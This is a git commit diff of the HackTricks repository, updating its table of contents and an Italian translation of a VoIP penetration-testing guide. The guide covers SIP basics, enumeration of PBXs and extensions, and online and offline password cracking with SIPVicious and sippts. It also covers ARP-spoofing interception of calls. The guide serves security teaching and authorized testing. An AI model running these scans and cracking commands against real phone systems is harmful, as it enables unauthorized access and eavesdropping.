Translated ['network-services-pentesting/pentesting-voip/README.md'] to
Before Width: | Height: | Size: 42 KiB After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 142 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 108 KiB |
Before Width: | Height: | Size: 142 KiB After Width: | Height: | Size: 63 KiB |
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 33 KiB |
Before Width: | Height: | Size: 33 KiB After Width: | Height: | Size: 116 KiB |
Before Width: | Height: | Size: 116 KiB After Width: | Height: | Size: 418 KiB |
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 74 KiB |
Before Width: | Height: | Size: 74 KiB After Width: | Height: | Size: 271 KiB |
Before Width: | Height: | Size: 271 KiB After Width: | Height: | Size: 105 KiB |
Before Width: | Height: | Size: 237 KiB After Width: | Height: | Size: 254 KiB |
Before Width: | Height: | Size: 254 KiB After Width: | Height: | Size: 5.5 KiB |
Before Width: | Height: | Size: 5.5 KiB After Width: | Height: | Size: 254 KiB |
Before Width: | Height: | Size: 254 KiB After Width: | Height: | Size: 112 KiB |
Before Width: | Height: | Size: 112 KiB After Width: | Height: | Size: 334 KiB |
15
SUMMARY.md
|
@ -138,6 +138,7 @@
|
|||
|
||||
* [macOS Security & Privilege Escalation](macos-hardening/macos-security-and-privilege-escalation/README.md)
|
||||
* [macOS Apps - Inspecting, debugging and Fuzzing](macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md)
|
||||
* [Objects in memory](macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md)
|
||||
* [Introduction to x64](macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md)
|
||||
* [Introduction to ARM64v8](macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
|
||||
* [macOS AppleFS](macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md)
|
||||
|
@ -425,7 +426,6 @@
|
|||
* [Basic Tomcat Info](network-services-pentesting/pentesting-web/tomcat/basic-tomcat-info.md)
|
||||
* [Uncovering CloudFlare](network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
|
||||
* [VMWare (ESX, VCenter...)](network-services-pentesting/pentesting-web/vmware-esx-vcenter....md)
|
||||
* [WAF Bypass](network-services-pentesting/pentesting-web/waf-bypass.md)
|
||||
* [Web API Pentesting](network-services-pentesting/pentesting-web/web-api-pentesting.md)
|
||||
* [WebDav](network-services-pentesting/pentesting-web/put-method-webdav.md)
|
||||
* [Werkzeug / Flask Debug](network-services-pentesting/pentesting-web/werkzeug.md)
|
||||
|
@ -722,16 +722,26 @@
|
|||
* [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md)
|
||||
* [Heap](binary-exploitation/heap/README.md)
|
||||
* [Bins & Memory Allocations](binary-exploitation/heap/bins-and-memory-allocations.md)
|
||||
* [Heap Functions Security Checks](binary-exploitation/heap/heap-functions-security-checks.md)
|
||||
* [Heap Memory Functions](binary-exploitation/heap/heap-memory-functions/README.md)
|
||||
* [free](binary-exploitation/heap/heap-memory-functions/free.md)
|
||||
* [malloc & sysmalloc](binary-exploitation/heap/heap-memory-functions/malloc-and-sysmalloc.md)
|
||||
* [unlink](binary-exploitation/heap/heap-memory-functions/unlink.md)
|
||||
* [Heap Functions Security Checks](binary-exploitation/heap/heap-memory-functions/heap-functions-security-checks.md)
|
||||
* [Use After Free](binary-exploitation/heap/use-after-free/README.md)
|
||||
* [First Fit](binary-exploitation/heap/use-after-free/first-fit.md)
|
||||
* [Double Free](binary-exploitation/heap/double-free.md)
|
||||
* [Unlink Attack](binary-exploitation/heap/unlink-attack.md)
|
||||
* [Fast Bin Attack](binary-exploitation/heap/fast-bin-attack.md)
|
||||
* [Unsorted Bin Attack](binary-exploitation/heap/unsorted-bin-attack.md)
|
||||
* [Large Bin Attack](binary-exploitation/heap/large-bin-attack.md)
|
||||
* [Off by one overflow](binary-exploitation/heap/off-by-one-overflow.md)
|
||||
* [House of Spirit](binary-exploitation/heap/house-of-spirit.md)
|
||||
* [House of Lore](binary-exploitation/heap/house-of-lore.md)
|
||||
* [House of Einherjar](binary-exploitation/heap/house-of-einherjar.md)
|
||||
* [House of Force](binary-exploitation/heap/house-of-force.md)
|
||||
* [House of Orange](binary-exploitation/heap/house-of-orange.md)
|
||||
* [House of Rabbit](binary-exploitation/heap/house-of-rabbit.md)
|
||||
* [House of Roman](binary-exploitation/heap/house-of-roman.md)
|
||||
* [Heap Overflow](binary-exploitation/heap/heap-overflow.md)
|
||||
* [Common Binary Exploitation Protections & Bypasses](binary-exploitation/common-binary-protections-and-bypasses/README.md)
|
||||
* [ASLR](binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md)
|
||||
|
@ -754,7 +764,6 @@
|
|||
* [WWW2Exec - \_\_malloc\_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-\_\_malloc\_hook.md)
|
||||
* [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
|
||||
* [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
* [Linux Exploiting (Basic) (SPA)](binary-exploitation/linux-exploiting-basic-esp.md)
|
||||
|
||||
## 🔩 Reversing
|
||||
|
||||
|
|
|
@ -1,43 +1,159 @@
|
|||
# Pentesting VoIP
|
||||
# Test delle vulnerabilità VoIP
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
||||
## Informazioni di base su VoIP
|
||||
|
||||
Per iniziare a imparare come funziona VoIP, controlla:
|
||||
Per iniziare a conoscere come funziona VoIP, controlla:
|
||||
|
||||
{% content-ref url="basic-voip-protocols/" %}
|
||||
[basic-voip-protocols](basic-voip-protocols/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Messaggi di base
|
||||
```
|
||||
Request name Description RFC references
|
||||
------------------------------------------------------------------------------------------------------
|
||||
REGISTER Register a SIP user. RFC 3261
|
||||
INVITE Initiate a dialog for establishing a call. RFC 3261
|
||||
ACK Confirm that an entity has received. RFC 3261
|
||||
BYE Signal termination of a dialog and end a call. RFC 3261
|
||||
CANCEL Cancel any pending request. RFC 3261
|
||||
UPDATE Modify the state of a session without changing the state of the dialog. RFC 3311
|
||||
REFER Ask recipient to issue a request for the purpose of call transfer. RFC 3515
|
||||
PRACK Provisional acknowledgement. RFC 3262
|
||||
SUBSCRIBE Initiates a subscription for notification of events from a notifier. RFC 6665
|
||||
NOTIFY Inform a subscriber of notifications of a new event. RFC 6665
|
||||
PUBLISH Publish an event to a notification server. RFC 3903
|
||||
MESSAGE Deliver a text message. Used in instant messaging applications. RFC 3428
|
||||
INFO Send mid-session information that does not modify the session state. RFC 6086
|
||||
OPTIONS Query the capabilities of an endpoint RFC 3261
|
||||
```
|
||||
## Codici di risposta
|
||||
|
||||
**1xx—Risposte provvisorie**
|
||||
```
|
||||
100 Trying
|
||||
180 Ringing
|
||||
181 Call is Being Forwarded
|
||||
182 Queued
|
||||
183 Session Progress
|
||||
199 Early Dialog Terminated
|
||||
```
|
||||
**2xx—Risposte di successo**
|
||||
```
|
||||
200 OK
|
||||
202 Accepted
|
||||
204 No Notification
|
||||
```
|
||||
**3xx—Risposte di reindirizzamento**
|
||||
```
|
||||
300 Multiple Choices
|
||||
301 Moved Permanently
|
||||
302 Moved Temporarily
|
||||
305 Use Proxy
|
||||
380 Alternative Service
|
||||
```
|
||||
**4xx—Risposte di fallimento del client**
|
||||
```
|
||||
400 Bad Request
|
||||
401 Unauthorized
|
||||
402 Payment Required
|
||||
403 Forbidden
|
||||
404 Not Found
|
||||
405 Method Not Allowed
|
||||
406 Not Acceptable
|
||||
407 Proxy Authentication Required
|
||||
408 Request Timeout
|
||||
409 Conflict
|
||||
410 Gone
|
||||
411 Length Required
|
||||
412 Conditional Request Failed
|
||||
413 Request Entity Too Large
|
||||
414 Request-URI Too Long
|
||||
415 Unsupported Media Type
|
||||
416 Unsupported URI Scheme
|
||||
417 Unknown Resource-Priority
|
||||
420 Bad Extension
|
||||
421 Extension Required
|
||||
422 Session Interval Too Small
|
||||
423 Interval Too Brief
|
||||
424 Bad Location Information
|
||||
425 Bad Alert Message
|
||||
428 Use Identity Header
|
||||
429 Provide Referrer Identity
|
||||
430 Flow Failed
|
||||
433 Anonymity Disallowed
|
||||
436 Bad Identity-Info
|
||||
437 Unsupported Certificate
|
||||
438 Invalid Identity Header
|
||||
439 First Hop Lacks Outbound Support
|
||||
440 Max-Breadth Exceeded
|
||||
469 Bad Info Package
|
||||
470 Consent Needed
|
||||
480 Temporarily Unavailable
|
||||
481 Call/Transaction Does Not Exist
|
||||
482 Loop Detected
|
||||
483 Too Many Hops
|
||||
484 Address Incomplete
|
||||
485 Ambiguous
|
||||
486 Busy Here
|
||||
487 Request Terminated
|
||||
488 Not Acceptable Here
|
||||
489 Bad Event
|
||||
491 Request Pending
|
||||
493 Undecipherable
|
||||
494 Security Agreement Required
|
||||
```
|
||||
**5xx—Risposte di errore del server**
|
||||
```
|
||||
500 Internal Server Error
|
||||
501 Not Implemented
|
||||
502 Bad Gateway
|
||||
503 Service Unavailable
|
||||
504 Server Time-out
|
||||
505 Version Not Supported
|
||||
513 Message Too Large
|
||||
555 Push Notification Service Not Supported
|
||||
580 Precondition Failure
|
||||
```
|
||||
**6xx—Risposte di fallimento globale**
|
||||
```
|
||||
600 Busy Everywhere
|
||||
603 Decline
|
||||
604 Does Not Exist Anywhere
|
||||
606 Not Acceptable
|
||||
607 Unwanted
|
||||
608 Rejected
|
||||
```
|
||||
## Enumerazione VoIP
|
||||
|
||||
### Numeri di telefono
|
||||
|
||||
Uno dei primi passi che un Red Team potrebbe fare è cercare numeri di telefono disponibili per contattare l'azienda utilizzando strumenti OSINT, ricerche su Google o scraping delle pagine web.
|
||||
Uno dei primi passi che un Red Team potrebbe compiere è cercare i numeri di telefono disponibili per contattare l'azienda utilizzando strumenti OSINT, ricerche su Google o facendo scraping delle pagine web.
|
||||
|
||||
Una volta ottenuti i numeri di telefono, è possibile utilizzare servizi online per identificare l'operatore:
|
||||
Una volta ottenuti i numeri di telefono, potresti utilizzare servizi online per identificare l'operatore:
|
||||
|
||||
* [https://www.numberingplans.com/?page=analysis\&sub=phonenr](https://www.numberingplans.com/?page=analysis\&sub=phonenr)
|
||||
* [https://mobilenumbertracker.com/](https://mobilenumbertracker.com/)
|
||||
* [https://www.whitepages.com/](https://www.whitepages.com/)
|
||||
* [https://www.twilio.com/lookup](https://www.twilio.com/lookup)
|
||||
|
||||
Sapendo se l'operatore fornisce servizi VoIP, è possibile identificare se l'azienda sta utilizzando VoIP... Inoltre, è possibile che l'azienda non abbia assunto servizi VoIP ma stia utilizzando schede PSTN per collegare la propria PBX VoIP alla rete telefonica tradizionale.
|
||||
Sapere se l'operatore fornisce servizi VoIP potrebbe aiutarti a identificare se l'azienda sta utilizzando VoIP... Inoltre, è possibile che l'azienda non abbia assunto servizi VoIP ma stia utilizzando schede PSTN per collegare il proprio VoIP PBX alla rete telefonica tradizionale.
|
||||
|
||||
Cose come risposte automatiche o musica di sottofondo indicano di solito l'utilizzo di VoIP.
|
||||
Cose come risposte automatizzate o musica di attesa di solito indicano l'uso di VoIP.
|
||||
|
||||
### Google Dorks
|
||||
```bash
|
||||
|
@ -75,18 +191,21 @@ inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministrati
|
|||
|
||||
Qualsiasi altra enumerazione OSINT che aiuti a identificare il software VoIP in uso sarà utile per un Red Team.
|
||||
|
||||
### Enumerazione di rete
|
||||
### Enumerazione di Rete
|
||||
|
||||
* **`nmap`** è in grado di scansionare i servizi UDP, ma a causa del numero di servizi UDP da scansionare, è molto lento e potrebbe non essere molto accurato con questo tipo di servizi.
|
||||
* **`svmap`** di SIPVicious (`sudo apt install sipvicious`): individuerà i servizi SIP nella rete indicata.
|
||||
* **`nmap`** è in grado di eseguire la scansione dei servizi UDP, ma a causa del numero di servizi UDP sottoposti a scansione, risulta molto lento e potrebbe non essere molto accurato con questo tipo di servizi.
|
||||
```bash
|
||||
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
|
||||
```
|
||||
* **`svmap`** da SIPVicious (`sudo apt install sipvicious`): Troverà i servizi SIP nella rete indicata.
|
||||
* `svmap` è **facile da bloccare** perché utilizza l'User-Agent `friendly-scanner`, ma è possibile modificare il codice da `/usr/share/sipvicious/sipvicious` e cambiarlo.
|
||||
```bash
|
||||
# Use --fp to fingerprint the services
|
||||
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
|
||||
```
|
||||
* **`sipscan.py`** da [**sippts**](https://github.com/Pepelux/sippts)**:** Sipscan è uno scanner molto veloce per i servizi SIP su UDP, TCP o TLS. Utilizza il multithreading e può scansionare ampie gamme di reti. Consente di indicare facilmente un intervallo di porte, scansionare sia TCP che UDP, utilizzare un altro metodo (per impostazione predefinita utilizzerà OPTIONS) e specificare un diverso User-Agent (e altro).
|
||||
* **`Scansione SIPPTS`** da [**sippts**](https://github.com/Pepelux/sippts)**:** La scansione SIPPTS è uno scanner molto veloce per i servizi SIP su UDP, TCP o TLS. Utilizza il multithreading e può scansionare ampie gamme di reti. Consente di indicare facilmente un intervallo di porte, scansionare sia TCP che UDP, utilizzare un altro metodo (per impostazione predefinita utilizzerà OPTIONS) e specificare un diverso User-Agent (e altro).
|
||||
```bash
|
||||
./sipscan.py -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
|
||||
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
|
||||
|
||||
[!] IP/Network: 10.10.0.0/24
|
||||
[!] Port range: 5060-5080
|
||||
|
@ -94,146 +213,152 @@ svmap 10.10.0.0/24 -p 5060-5070 [--fp]
|
|||
[!] Method to scan: REGISTER
|
||||
[!] Customized User-Agent: Cisco
|
||||
[!] Used threads: 200
|
||||
|
||||
```
|
||||
* **metasploit**:
|
||||
|
||||
Metasploit è un framework di test di penetrazione ampiamente utilizzato per eseguire attacchi su reti e sistemi. Fornisce una vasta gamma di strumenti e moduli che consentono agli hacker di sfruttare vulnerabilità e ottenere accesso non autorizzato a sistemi target. Metasploit è una potente risorsa per i tester di penetrazione, in quanto consente loro di identificare e sfruttare le vulnerabilità dei sistemi al fine di migliorare la sicurezza delle reti.
|
||||
```
|
||||
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
|
||||
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
|
||||
```
|
||||
#### Enumerazione aggiuntiva della rete
|
||||
#### Enumerazione Extra della Rete
|
||||
|
||||
Il PBX potrebbe anche esporre altri servizi di rete come:
|
||||
La PBX potrebbe anche esporre altri servizi di rete come:
|
||||
|
||||
* **69/UDP (TFTP)**: Aggiornamenti del firmware
|
||||
* **80 (HTTP) / 443 (HTTPS)**: Per gestire il dispositivo dal web
|
||||
* **389 (LDAP)**: Alternativa per memorizzare le informazioni degli utenti
|
||||
* **3306 (MySQL)**: Database MySQL
|
||||
* **5038 (Manager)**: Consente di utilizzare Asterisk da altre piattaforme
|
||||
* **5222 (XMPP)**: Messaggi utilizzando Jabber
|
||||
* **5432 (PostgreSQL)**: Database PostgreSQL
|
||||
* E altri...
|
||||
- **69/UDP (TFTP)**: Aggiornamenti del firmware
|
||||
- **80 (HTTP) / 443 (HTTPS)**: Per gestire il dispositivo dal web
|
||||
- **389 (LDAP)**: Alternativa per memorizzare le informazioni degli utenti
|
||||
- **3306 (MySQL)**: Database MySQL
|
||||
- **5038 (Manager)**: Consente di utilizzare Asterisk da altre piattaforme
|
||||
- **5222 (XMPP)**: Messaggi utilizzando Jabber
|
||||
- **5432 (PostgreSQL)**: Database PostgreSQL
|
||||
- E altri...
|
||||
|
||||
### Enumerazione dei metodi
|
||||
### Enumerazione dei Metodi
|
||||
|
||||
È possibile trovare **quali metodi sono disponibili** per l'uso nel PBX utilizzando `sipenumerate.py` da [**sippts**](https://github.com/Pepelux/sippts)
|
||||
È possibile trovare **quali metodi sono disponibili** per l'uso nella PBX utilizzando `SIPPTS enumerate` da [**sippts**](https://github.com/Pepelux/sippts)
|
||||
```bash
|
||||
python3 sipenumerate.py -i 10.10.0.10 -r 5080
|
||||
sippts enumerate -i 10.10.0.10
|
||||
```
|
||||
### Analisi delle risposte del server
|
||||
|
||||
È molto importante analizzare gli header che un server ci invia, a seconda del tipo di messaggio e degli header che inviamo. Con `SIPPTS send` da [**sippts**](https://github.com/Pepelux/sippts) possiamo inviare messaggi personalizzati, manipolando tutti gli header e analizzando la risposta.
|
||||
```bash
|
||||
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
|
||||
```
|
||||
È anche possibile ottenere dati se il server utilizza i websockets. Con `SIPPTS wssend` da [**sippts**](https://github.com/Pepelux/sippts) possiamo inviare messaggi WS personalizzati.
|
||||
```bash
|
||||
sippts wssend -i 10.10.0.10 -r 443 -path /ws
|
||||
```
|
||||
### Enumerazione delle estensioni
|
||||
|
||||
Le estensioni in un sistema PBX (Private Branch Exchange) si riferiscono agli **identificatori interni unici assegnati a singole** linee telefoniche, dispositivi o utenti all'interno di un'organizzazione o azienda. Le estensioni rendono possibile **instradare le chiamate all'interno dell'organizzazione in modo efficiente**, senza la necessità di numeri di telefono esterni individuali per ogni utente o dispositivo.
|
||||
Le estensioni in un sistema PBX (Private Branch Exchange) si riferiscono agli **identificatori interni unici assegnati a singole** linee telefoniche, dispositivi o utenti all'interno di un'organizzazione o azienda. Le estensioni rendono possibile **instradare chiamate all'interno dell'organizzazione in modo efficiente**, senza la necessità di numeri di telefono esterni individuali per ogni utente o dispositivo.
|
||||
|
||||
* **`svwar`** da SIPVicious (`sudo apt install sipvicious`): `svwar` è uno scanner gratuito di linee di estensione SIP PBX. Concettualmente funziona in modo simile ai tradizionali wardialer **indovinando un intervallo di estensioni o un elenco di estensioni** specifico.
|
||||
* **`svwar`** da SIPVicious (`sudo apt install sipvicious`): `svwar` è uno scanner di linee di estensione SIP PBX gratuito. In concetto funziona in modo simile ai tradizionali wardialer **indovinando un intervallo di estensioni o una lista data di estensioni**.
|
||||
```bash
|
||||
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
|
||||
```
|
||||
* **`sipextend.py`** da [**sippts**](https://github.com/Pepelux/sippts)**:** Sipextend identifica le estensioni su un server SIP. Sipextend può controllare grandi reti e intervalli di porte.
|
||||
* **`SIPPTS exten`** da [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS exten identifica le estensioni su un server SIP. Sipexten può controllare ampie reti di rete e porti.
|
||||
```bash
|
||||
python3 sipexten.py -i 10.10.0.10 -r 5080 -e 100-200
|
||||
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
|
||||
```
|
||||
* **metasploit**: Puoi anche enumerare estensioni/nomi utente con metasploit:
|
||||
* **metasploit**: È possibile anche enumerare estensioni/nomi utente con metasploit:
|
||||
```
|
||||
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
|
||||
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
|
||||
```
|
||||
* **`enumiax` (`apt install enumiax`): enumIAX** è un enumeratore di forza bruta per il protocollo Inter Asterisk Exchange (**IAX**). enumIAX può operare in due modalità distinte; Indovinamento sequenziale del nome utente o Attacco con dizionario.
|
||||
* **`enumiax` (`apt install enumiax`): enumIAX** è un enumeratore di forza bruta di nomi utente per il protocollo Inter Asterisk Exchange. enumIAX può operare in due modalità distinte; Indovinamento sequenziale dei nomi utente o Attacco a dizionario.
|
||||
```bash
|
||||
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
|
||||
enumiax -v -m3 -M3 10.10.0.10
|
||||
```
|
||||
## Attacchi VoIP
|
||||
|
||||
### Brute-Force della Password
|
||||
### Forza bruta della password - online
|
||||
|
||||
Avendo scoperto il **PBX** e alcuni **estensioni/nomi utente**, un Red Team potrebbe provare ad **autenticarsi tramite il metodo `REGISTER`** su un'estensione utilizzando un dizionario di password comuni per forzare l'autenticazione.
|
||||
Avendo scoperto la **PBX** e alcuni **estensioni/nomi utente**, un Red Team potrebbe provare ad **autenticarsi tramite il metodo `REGISTER`** su un'estensione utilizzando un dizionario di password comuni per forzare l'autenticazione.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Nota che un **nome utente** può essere lo stesso dell'estensione, ma questa pratica può variare a seconda del sistema PBX, della sua configurazione e delle preferenze dell'organizzazione...
|
||||
|
||||
Se il nome utente non è lo stesso dell'estensione, sarà necessario **individuare il nome utente per forzare la sua password**.
|
||||
Se il nome utente non è lo stesso dell'estensione, sarà necessario **individuare il nome utente per forzare la password**.
|
||||
{% endhint %}
|
||||
|
||||
* **`svcrack`** da SIPVicious (`sudo apt install sipvicious`): SVCrack consente di forzare la password per un determinato nome utente/estensione su un PBX.
|
||||
* **`svcrack`** da SIPVicious (`sudo apt install sipvicious`): SVCrack ti consente di forzare la password per un nome utente/estensione specifico su una PBX.
|
||||
```bash
|
||||
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
|
||||
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
|
||||
```
|
||||
* **`sipcrack.py`** da [**sippts**](https://github.com/Pepelux/sippts)**:** SIP Digest Crack è uno strumento per craccare le autenticazioni digest all'interno del protocollo SIP.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
* **`SIPPTS rcrack`** da [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack è un cracker di password remoto per servizi SIP. Rcrack può testare le password per diversi utenti in diverse IP e intervalli di porte.
|
||||
```bash
|
||||
python3 siprcrack.py -i 10.10.0.10 -r 5080 -e 100,101,103-105 -w wordlist/rockyou.txt
|
||||
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
* **Metasploit**:
|
||||
* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb)
|
||||
* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb)
|
||||
* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb)
|
||||
|
||||
### Sniffing VoIP
|
||||
### Intercezione VoIP
|
||||
|
||||
Se trovi attrezzature VoIP all'interno di una **rete Wi-Fi aperta**, potresti **intercettare tutte le informazioni**. Inoltre, se ti trovi all'interno di una rete più chiusa (connessa tramite Ethernet o Wi-Fi protetta), potresti eseguire attacchi **MitM come** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) tra il **PBX e il gateway** per intercettare le informazioni.
|
||||
Se trovi attrezzature VoIP all'interno di una **rete Wifi aperta**, potresti **intercettare tutte le informazioni**. Inoltre, se ti trovi all'interno di una rete più chiusa (connessa tramite Ethernet o Wifi protetto) potresti eseguire **attacchi MitM come** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) tra il **PBX e il gateway** per intercettare le informazioni.
|
||||
|
||||
Tra le informazioni di rete, potresti trovare **credenziali web** per gestire l'attrezzatura, **estensioni utente**, **nome utente**, **indirizzi IP**, persino **password hashate** e **pacchetti RTP** che potresti riprodurre per **ascoltare la conversazione**, e altro ancora.
|
||||
Tra le informazioni di rete, potresti trovare **credenziali web** per gestire l'attrezzatura, **estensioni utente**, **username**, **indirizzi IP**, persino **password hashate** e **pacchetti RTP** che potresti riprodurre per **ascoltare la conversazione**, e altro ancora.
|
||||
|
||||
Per ottenere queste informazioni, puoi utilizzare strumenti come Wireshark, tcpdump... ma uno **strumento appositamente creato per intercettare le conversazioni VoIP è** [**ucsniff**](https://github.com/Seabreg/ucsniff).
|
||||
Per ottenere queste informazioni potresti utilizzare strumenti come Wireshark, tcpdump... ma uno **strumento creato appositamente per intercettare conversazioni VoIP è** [**ucsniff**](https://github.com/Seabreg/ucsniff).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Nota che se viene utilizzato **TLS nella comunicazione SIP**, non sarai in grado di vedere la comunicazione SIP in chiaro.\
|
||||
Lo stesso accadrà se viene utilizzato **SRTP** e **ZRTP**, **i pacchetti RTP non saranno in testo normale**.
|
||||
Nota che se viene utilizzato **TLS nella comunicazione SIP** non sarai in grado di vedere la comunicazione SIP in chiaro.\
|
||||
Lo stesso accadrà se viene utilizzato **SRTP** e **ZRTP**, i **pacchetti RTP non saranno in testo chiaro**.
|
||||
{% endhint %}
|
||||
|
||||
#### Credenziali SIP
|
||||
#### Credenziali SIP (Brute-Force della password - offline)
|
||||
|
||||
[Controlla questo esempio per capire meglio una **comunicazione SIP REGISTER**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) per capire come vengono **inviate le credenziali**.
|
||||
[Controlla questo esempio per capire meglio una **comunicazione SIP REGISTER**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) per capire come vengono inviate le **credenziali**.
|
||||
|
||||
* **`sipdump`** & **`sipcrack`,** parte di **sipcrack** (`apt-get install sipcrack`): Questi strumenti possono **estrarre** da un **pcap** le **autenticazioni digest** all'interno del protocollo SIP e **eseguirne il bruteforce**.
|
||||
* **`sipdump`** & **`sipcrack`,** parte di **sipcrack** (`apt-get install sipcrack`): Questi strumenti possono **estrarre** da un **pcap** le **autenticazioni digest** all'interno del protocollo SIP e **eseguirne il brute force**.
|
||||
```bash
|
||||
sipdump -p net-capture.pcap sip-creds.txt
|
||||
sipcrack sip-creds.txt -w dict.txt
|
||||
```
|
||||
* **`siptshar.py`, `sipdump.py`, `sipcrack.py`** da [**sippts**](https://github.com/Pepelux/sippts)**:**
|
||||
* **SipTshark** estrae i dati del protocollo SIP da un file PCAP.
|
||||
* **SipDump** estrae le autenticazioni SIP Digest da un file PCAP.
|
||||
* **SIP Digest Crack** è uno strumento per craccare le autenticazioni digest nel protocollo SIP.
|
||||
* **`SIPPTS dump`** da [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dump può estrarre autenticazioni digest da un file pcap.
|
||||
```bash
|
||||
python3 siptshark.py -f captura3.pcap [-filter auth]
|
||||
python3 sipdump.py -f captura3.pcap -o data.txt
|
||||
python3 sipcrack.py -f data.txt -w wordlist/rockyou.txt
|
||||
sippts dump -f capture.pcap -o data.txt
|
||||
```
|
||||
* **`SIPPTS dcrack`** da [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dcrack è uno strumento per crackare le autenticazioni digest ottenute con il dump di SIPPTS.
|
||||
```bash
|
||||
sippts dcrack -f data.txt -w wordlist/rockyou.txt
|
||||
```
|
||||
* **`SIPPTS tshark`** da [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS tshark estrae i dati del protocollo SIP da un file PCAP.
|
||||
```bash
|
||||
sippts tshark -f capture.pcap [-filter auth]
|
||||
```
|
||||
#### Codici DTMF
|
||||
|
||||
